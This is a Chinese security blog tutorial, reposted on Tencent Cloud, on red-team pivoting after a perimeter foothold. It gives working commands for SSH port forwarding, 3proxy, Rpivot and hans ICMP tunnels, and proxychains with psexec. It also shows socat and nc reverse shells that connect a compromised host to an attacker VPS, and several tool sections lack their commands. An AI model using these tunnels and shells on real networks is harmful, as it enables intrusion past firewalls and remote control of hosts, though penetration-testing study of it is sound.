前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >穿越边界的姿势

穿越边界的姿势

作者头像
信安之路
发布2018-08-08 10:45:34
1.6K0
发布2018-08-08 10:45:34
举报
文章被收录于专栏:信安之路信安之路信安之路

在企业安全对抗中,红方攻击团队经常会遇到这种情况,在企业的网络边界上获取到部分权限,比如一个web服务器的webshell,然而如何更方便的进行下一步的渗透呢?如何对内网进行渗透测试,这时就需要隧道转发技术,穿透边界防火墙、安全代理等安全设备,进行深层次的安全测试。本文的主要内容是穿透内网的各种姿势。

典型的边界网络架构图

利用ssh建立隧道

动态端口转发

原理:建立一个动态的SOCKS4/5的代理通道,紧接着的是本地监听的端口号;动态端口转发是建立一个ssh加密的SOCKS4/5代理通道,任何支持SOCKS4/5协议的程序都可以使用这个加密的通道来进行代理访问。

本地执行命令:

ssh -D 1080 root@106.22.50.48

效果:本地监听1080端口,我们可以使用具有socks端口功能的应用,可以通过代理:127.0.0.1:1080上网,如果非要在目标内网使用,

可以在server B上执行:

ssh -D 1080 root@10.3.1.6

这样我们就可以通过server B的1080端口访问办公网的资源。如果serverB的ssh可以访问,

可以在本地执行:

ssh -D 1080 root@222.222.222.223

这样我们就可以通过本地127.0.0.1:1080访问目标内网资源。

本地端口转发

原理:将本地机(客户机)的某个端口转发到远端指定机器的指定端口;本地端口转发是在localhost上监听一个端口,所有访问这个端口的数据都会通过ssh 隧道传输到远端的对应端口。

在serverB上执行:

ssh -L 7001:localhost:7070 root@106.22.50.48

作用:serverB监听7001端口,并将7001端口的数据转发到vps的7070端口

利用:在serverB上运行一个socks代理,代理端口设置为7001,这样再执行上面的命令,这样我们就相当于建立了一个socks5隧道。

远程端口转发

原理:将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口;远程端口转发是在远程主机上监听一个端口,所有访问远程服务器的指定端口的数据都会通过ssh 隧道传输到本地的对应端口。

在serverB上执行:

localhost: ssh -R 1433:localhost:7070  root@10.3.1.6

作用:将10.3.1.6的3306端口转发到serverB的7070端口,这样我们在访问serverB的7070端口时,其实访问到的是10.3.1.6的3306端口。

使用3proxy建立隧道

简介

工具地址: https://github.com/z3APA3A/3proxy/releases

3proxy是一个由俄罗斯人开发的多平台代理软件,支持http/https/ftp/socks4/socks5/socks4a/socks5a等多种代理方式。

利用方式:

windows:3proxy.exe config_file

linux:./3proxy config_file

这个工具的使用主要是修改配置文件。

建立socks代理

配置如下:

#!/usr/local/bin/3proxy

socks -p1080

作用:新建一个socks代理,监听1080端口

实现端口转发

配置如下:

#!/usr/local/bin/3proxy

tcppm 1080 106.22.50.48 7070

作用:将本地的1080端口转发到vps的7070端口

其他功能大家可以自行学习。

使用plink实现端口转发

plink的使用跟ssh类似,只是plink是在windows下运行的。

使用Rpivot做反向代理

工具地址:https://github.com/artkond/rpivot

利用方式:

vps:

python server.py --proxy-port 1080 --server-port 9999 --server-ip 0.0.0.0

作用:在vps上新建一个socks4代理在1080端口,监听9999端口

serverB:

python client.py --server-ip 106.22.50.48 --server-port 9999

作用:连接vps的9999端口,我们可以通过vps的1080端口访问目标内网。

建立ICMP隧道

工具地址:http://code.gerade.org/hans/

在serverB上下载编译

用root执行:

1 echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all

2 ./hans -s 222.222.222.223 -p password

在本地执行:

./hans -f -c 222.222.222.223  -p password -v

会返回一个shell

穿透代理服务器

条件:serverB需要通过serverA这个代理服务器上外网,且代理服务器的认证是需要域认证

Rpivot

可以使用下面的命令实现穿透:

如果获取到的用户密码是个Hash,解不出来的情况下:

Cntlm

工具地址:http://cntlm.sourceforge.net/

原理:通过内网ntlm认证代理将远程务器的端口转发到本地。

使用方式,在serverB上执行:

windows: cntlm.exe -c config.conf

linux:./cntlm -c config.conf

配置文件样例:

作用:内网服务器访问serverB的2222端口,也就是访问到vps的443端口。

通过socks代理访问内网

proxychains

假设代理服务器地址是:222.222.222.223:1080

修改配置文件,将代理地址设置为代理服务器的地址如下:

vim /etc/proxychains.conf

socks5  222.222.222.223 1080

使用方法:

proxychains psexec.py administrator@10.2.2.2 ipconfig

proxifier

图形化工具,大家自行测试

获取一个shell窗口

Python PTY shell

使用nc在vps上用监听4444端口:

nc -vv -l -p 4444

在serverB上执行:

socat

正向shell

vps上执行监听1337端口:

socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane

在serverB上执行:

socat FILE:`tty`,raw,echo=0 TCP:106.22.50.48:1337
反向shell

vps上执行监听1337:

socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0

在serverB上执行:

socat TCP4:106.22.50.48:1337 EXEC:bash,pty,stderr,setsid,sigint,sane

总结

大千世界无奇不有,企业架构各有不同。不同的网络环境需要不同的技术支撑,只有了解足够多的技术才能应对不同的情况,具体情况具体对待,相信作为安全测试工程师对于这些技术都不陌生,这里只是做个简单介绍,内容来源:https://artkond.com/2017/03/23/pivoting-guide/,想看英文原版的请点击原文链接。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2017-06-09,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 信安之路 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 典型的边界网络架构图
  • 利用ssh建立隧道
    • 动态端口转发
      • 本地端口转发
        • 远程端口转发
        • 使用3proxy建立隧道
          • 简介
            • 建立socks代理
              • 实现端口转发
              • 使用plink实现端口转发
              • 使用Rpivot做反向代理
              • 建立ICMP隧道
              • 穿透代理服务器
                • Rpivot
                  • Cntlm
                  • 通过socks代理访问内网
                    • proxychains
                      • proxifier
                      • 获取一个shell窗口
                        • Python PTY shell
                          • 正向shell
                          • 反向shell
                      相关产品与服务
                      手游安全测试
                      手游安全测试(Security Radar,SR)为企业提供私密的安全测试服务,通过主动挖掘游戏业务安全漏洞(如钻石盗刷、服务器宕机、无敌秒杀等40多种漏洞),提前暴露游戏潜在安全风险,提供解决方案及时修复,最大程度降低事后外挂危害与外挂打击成本。该服务为腾讯游戏开放的手游安全漏洞挖掘技术,杜绝游戏外挂损失。
                      领券
                      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档